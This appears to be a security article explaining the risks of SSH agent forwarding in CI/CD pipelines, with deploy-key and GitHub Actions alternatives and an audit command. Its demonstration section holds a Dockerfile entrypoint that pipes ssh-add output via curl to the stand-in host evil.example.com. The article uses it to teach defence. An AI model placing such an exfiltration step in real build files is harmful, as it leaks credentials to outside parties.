Understanding the Appeal of Agent Forwarding
Many teams configure their CI/CD runners to forward the local SSH agent
so that a single private key can authenticate against remote servers.
The shortcut feels convenient: the same key you use on your workstation
magically works inside a build container, allowing git push,
scp, or remote ssh commands without extra
credential plumbing.
The Hidden Attack Surface
Agent forwarding is essentially a trusted proxy. Once the runner establishes a connection, any process inside the container can request signatures from the forwarded agent. If an attacker compromises the container – a plausible scenario when a malicious pull‑request introduces a rogue script – they can silently harvest signatures for any host the original key trusts. The result is a “living‑key” that can be used to breach production servers, internal Git repositories, or any SSH‑protected service.
# Insecure .ssh/config snippet that enables forwarding for all hosts
Host *
ForwardAgent yes
The above configuration is often copied wholesale into CI runners.
Notice the wildcard *: it grants the agent to every remote
host the pipeline contacts, even those outside the organization.
Demonstration: A Compromised Build Extracts the Agent
The following minimal Dockerfile shows how a malicious step can enumerate keys from the forwarded agent and upload them to an attacker‑ controlled server.
# Dockerfile used in a CI job
FROM alpine:3.18
RUN apk add --no-cache openssh-client curl
# Malicious entrypoint
ENTRYPOINT ["sh", "-c", "\
ssh-add -L | curl -X POST -d @- https://evil.example.com/keys; \
echo 'Build completed';\
"]
When this image runs on a runner that has ForwardAgent yes,
the ssh-add -L command lists all loaded public keys.
The curl command silently forwards them to the attacker.
Safer Alternative: Deploy Keys and One‑Time Tokens
Instead of sharing a long‑lived personal key, generate a short‑lived deploy key for each repository or service. Deploy keys are read‑only by default and can be scoped to a single host. Store the private part as a secret in the CI system and inject it at runtime, never forwarding the agent.
# Generate a deploy key (run locally)
ssh-keygen -t ed25519 -f deploy_key -C "ci-deploy" -N ""
# Add the public key to the remote server's authorized_keys
ssh-copy-id -i deploy_key.pub [email protected]
In a GitHub Actions workflow, the private key is stored in
secrets.DEPLOY_KEY and written to a temporary file with
restrictive permissions before use.
# .github/workflows/deploy.yml
name: Deploy
on:
push:
branches: [ main ]
jobs:
deploy:
runs-on: ubuntu‑latest
steps:
- uses: actions/checkout@v3
- name: Install SSH client
run: sudo apt‑get update && sudo apt‑get install -y openssh-client
- name: Add deploy key
run: |
echo "${{ secrets.DEPLOY_KEY }}" > ~/.ssh/deploy_key
chmod 600 ~/.ssh/deploy_key
ssh-keyscan -H prod.example.com >> ~/.ssh/known_hosts
- name: Deploy to production
env:
SSH_AUTH_SOCK: "" # Explicitly disable agent forwarding
run: |
rsync -avz -e "ssh -i ~/.ssh/deploy_key" ./dist/ [email protected]:/var/www/
Notice the explicit clearing of SSH_AUTH_SOCK. This prevents
any accidental agent forwarding, ensuring the only credential available
is the deploy key you just wrote.
Auditing Existing Pipelines
To discover pipelines that still rely on agent forwarding, grep the
repository for the ForwardAgent directive or the presence of
SSH_AUTH_SOCK environment variables.
# Find suspicious configurations in a codebase
git grep -E 'ForwardAgent|SSH_AUTH_SOCK' -- '*.yml' '*.sh' '*.conf'
Replace each occurrence with a proper secret‑based approach as shown above. Remember to rotate any keys that may have been exposed.
Security and Best Practices
Limit key scope. Deploy keys should have the minimal permissions required – read‑only for pull operations, write‑only for deployments, and never root access.
Use short‑lived credentials. Pair deploy keys with automated rotation scripts that regenerate keys every few weeks.
Never expose the agent to the internet. If a runner must interact with external services, keep the SSH agent confined to a private network segment.
"Treat the SSH agent as a vault that should never leave the trusted perimeter. Forwarding it is equivalent to handing out the vault key to anyone who walks through the door."
Conclusion
While SSH agent forwarding can shave a few keystrokes from a developer’s workflow, its convenience masks a serious privilege‑escalation vector in automated pipelines. By replacing shared agents with scoped, short‑lived deploy keys and by explicitly disabling forwarding in CI environments, teams can close the most common path for credential exfiltration.
The effort required to refactor pipelines is modest compared with the potential impact of a compromised key. Adopt the patterns demonstrated here, audit existing configurations, and treat each key as a single point of failure that must be hardened.